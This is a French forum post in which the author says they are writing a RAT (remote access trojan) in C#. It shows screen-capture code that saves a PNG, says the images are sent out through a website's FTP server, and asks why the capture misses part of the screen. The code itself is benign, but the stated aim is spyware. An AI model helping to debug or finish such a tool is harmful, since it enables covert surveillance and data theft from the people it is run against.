Je créer actuellement un rat en c#,
Je suis arrivé au moment où je prend un screen de l'écran, tout est niquel :

Étant donné que je n'peux pas ouvrir un port, je fais le transfert du screen via un FTP (le FTP d'un site, pour les curieux, peu importe le FTP )
Le screen est pris, envoyé au ftp, et je le reçois, le transfert n'a aucun problème.
MAIS
Le screen ne prend pas tout l'écran !
Voici mon code :

Méthode "takeScreen()" :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
        public static Bitmap takeScreen() {
            int largeur = Screen.PrimaryScreen.Bounds.Width;
            int hauteur = Screen.PrimaryScreen.Bounds.Height;
            Bitmap screen = new Bitmap(largeur, hauteur);
            Graphics graph = Graphics.FromImage(screen);
            graph.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
            return screen;
        }
Je save le screen comme ça :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
 Bitmap screen = takeScreen();
                        screen.Save(@"C:\Users\" + Environment.UserName + @"\Desktop\bite.png", System.Drawing.Imaging.ImageFormat.Png);
(No comment sur le "bite.png" svp mdr)

Le screen s'arrête a peu près a 5/7 cm de la barre des tâches (je dit ça par rapport a mon écran, mais en gros le screen ne fait pas tout l'écran)